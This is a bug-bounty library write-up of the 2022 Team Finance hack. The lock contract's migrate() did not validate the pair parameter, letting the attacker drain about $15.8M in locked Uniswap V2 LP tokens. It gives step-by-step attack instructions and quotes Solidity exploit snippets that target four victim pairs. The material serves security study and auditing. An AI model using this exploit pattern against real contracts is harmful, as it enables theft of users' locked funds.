# Team Finance: unvalidated pair in migrate() drains locked LP tokens

Team Finance's migrate() failed to validate the pair parameter, letting an attacker migrate arbitrary victim Uniswap V2 LP tokens locked in the contract to steal ~$15.8M.

- Payout: Real-world hack
- Severity: critical
- Program: Team Finance
- Analysis by: DeFiHackLabs
- Disclosed: 2022-10-27
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-10/TeamFinance_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20221027-teamfinance
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:source-review vuln:access-control vuln:business-logic

**Target:** LockToken contract migrate() / Uniswap V3 migrator
**Root cause:** migrate() did not verify that the MigrateParams.pair matched the token pair actually associated with the locked NFT, so an attacker could pass any victim pair address and migrate its liquidity to themselves.
**Steps:**
1. Attacker locks a self-made token via `lockToken(selfmadeToken, address(this), 1_000_000_000, _unlockTime, false)` four times, receiving 4 NFT IDs.
2. Extend each lock duration via `extendLockDuration(migrateId[i], _unlockTime + 40_000)`.
3. Call `migrate(migrateId[0], parms, true, newPriceX96, false)` with `parms.pair = FEG_WETH_UniV2Pair` and `liquidityToMigrate = IERC20(FEG_WETH_UniV2Pair).balanceOf(LockToken)`, `percentageToMigrate: 1`, `recipient: address(this)`.
4. Repeat migrate() for USDC_CAW_UniV2Pair, USDC_TSUKA_UniV2Pair, KNDX_WETH_UniV2Pair using the remaining NFT IDs.
5. Swap received USDC to DAI via swapUsdcToDai().
**Exploitation:** Attacker created cheap lock NFTs, then abused migrate() to point at victim Uniswap V2 pairs whose LP tokens were held by the LockToken contract. The migrator pulled the entire LP balance of each victim pair and sent the resulting tokens to the attacker's recipient address, netting ~$15.8M across multiple tokens.
**Escalation:** Repeated the same primitive across four different victim pairs (FEG/WETH, USDC/CAW, USDC/TSUKA, KNDX/WETH) to scale losses.
**Insight:** When a contract holds LP tokens on behalf of users and exposes a migrate()/withdraw function, check whether the pair/token parameters are validated against the NFT's recorded state — an unbound parameter lets anyone redirect any locked LP position.

## Proof of concept (copied exactly from the original report)

**Migrate call with attacker-controlled pair params**

```
parms = IV3Migrator.MigrateParams({
            pair: FEG_WETH_UniV2Pair,
            liquidityToMigrate: _liquidityToMigrate,
            percentageToMigrate: 1, // 1%
            token0: selfmadeToken,
            token1: weth,
            fee: 500,
            tickLower: -100,
            tickUpper: 100,
            amount0Min: 0,
            amount1Min: 0,
            recipient: address(this),
            deadline: block.timestamp,
            refundAsETH: true
        });

        ILockToken(LockToken).migrate(migrateId[0], parms, true, newPriceX96, false);
```

**Pre-work lockToken and extendLockDuration setup**

```
uint256 nftId = ILockToken(LockToken).lockToken{value: 0.5 ether}(
                selfmadeToken, address(this), 1_000_000_000, _unlockTime, false
            );
            migrateId[i] = nftId;
        }

        // txId-1: https://etherscan.io/tx/0x2972f75d5926f8f948ab6a0cabc517a05f0da5b53e20f670591afbaa501aa436
        // txId-2: https://etherscan.io/tx/0xec75bb553f50af37f8dd8f4b1e2bfe4703b27f586187741b91db770ad9b230cb
        // txId-3: https://etherscan.io/tx/0x79ec728612867b3d82c0e7401e6ee1c533b240720c749b3968dea1464e59b2c4
        // txId-4: https://etherscan.io/tx/0x51185fb580892706500d3b6eebb8698c27d900618021fb9b1797f4a774fffb04
        ILockToken(LockToken).extendLockDuration(migrateId[0], _unlockTime + 40_000);
        ILockToken(LockToken).extendLockDuration(migrateId[1], _unlockTime + 40_000);
        ILockToken(LockToken).extendLockDuration(migrateId[2], _unlockTime + 40_000);
        ILockToken(LockToken).extendLockDuration(migrateId[3], _unlockTime + 40_000);
```

**Second migrate draining USDC/CAW pair**

```
_liquidityToMigrate = IERC20(USDC_CAW_UniV2Pair).balanceOf(LockToken);
        parms = IV3Migrator.MigrateParams({
            pair: USDC_CAW_UniV2Pair,
            liquidityToMigrate: _liquidityToMigrate,
            percentageToMigrate: 1,
            token0: usdc,
            token1: caw,
            fee: 500,
            tickLower: -100,
            tickUpper: 100,
            amount0Min: 0,
            amount1Min: 0,
            recipient: address(this),
            deadline: block.timestamp,
            refundAsETH: true
        });

        ILockToken(LockToken).migrate(migrateId[1], parms, true, newPriceX96, false);
```

